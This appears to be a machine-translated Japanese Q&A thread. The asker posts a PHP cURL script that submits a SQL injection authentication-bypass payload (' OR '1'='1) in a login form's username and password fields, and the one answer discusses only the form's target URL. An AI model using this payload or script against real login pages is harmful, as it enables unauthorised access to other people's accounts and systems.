0

PHPとcURLを介してログインフォームに自動的にログインしようとしているだけです

私は持っている:

<?php
# get url to form
$url = "http://thesite.com/login.php";
$ch = curl_init($url); # initialize that form

#run value of $_POST variable in form fields from above url.
$params = "username='' OR '1'='1&password='' OR '1'='1&login-php-submit-button=submit";

## set cURL options
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);  #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
$response = curl_exec($ch);

    if (!$response) {
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch); // make sure we closeany current curl sessions
        die(stripslashes($http_code.' Can\'t connect to server.'));
    }

//curl_close($ch); // close curl session 


## echo the result from cURL 'ing
echo $response;

curl_close($ch);
?>

このスクリプトにアクセスすると$url、URL にアクセスしたかのように値が表示されるだけで、「間違ったパス」などのエラー メッセージは表示されません。

$paramsここで正しく設定されていない可能性があるように感じます。私はこれを機能させるために執拗に試みました。現在、値の設定は次の$paramsとおりです。

formnameofinputvalue = valueToInputIntoFormElement&

&で各 formInputName=formInputValue を区切ります

ここで私が間違っていることを誰かが見ていますか?ありがとうございました。

4

1 に答える 1

1

login.php スクリプトは値を別の URL に送信しますか? login.php ページのソースを確認し、フォームが別の URL (form 要素内の action=) に送信されているかどうかを確認します。その場合は、値が送信される場所であるため、代わりにその URL を使用することをお勧めします。login.php は、値を収集するための唯一のフォームです。

一方、login.php はそれ自体にサブミットする場合があり、その場合は正しい URL が得られます。

于 2013-01-02T02:11:35.123 に答える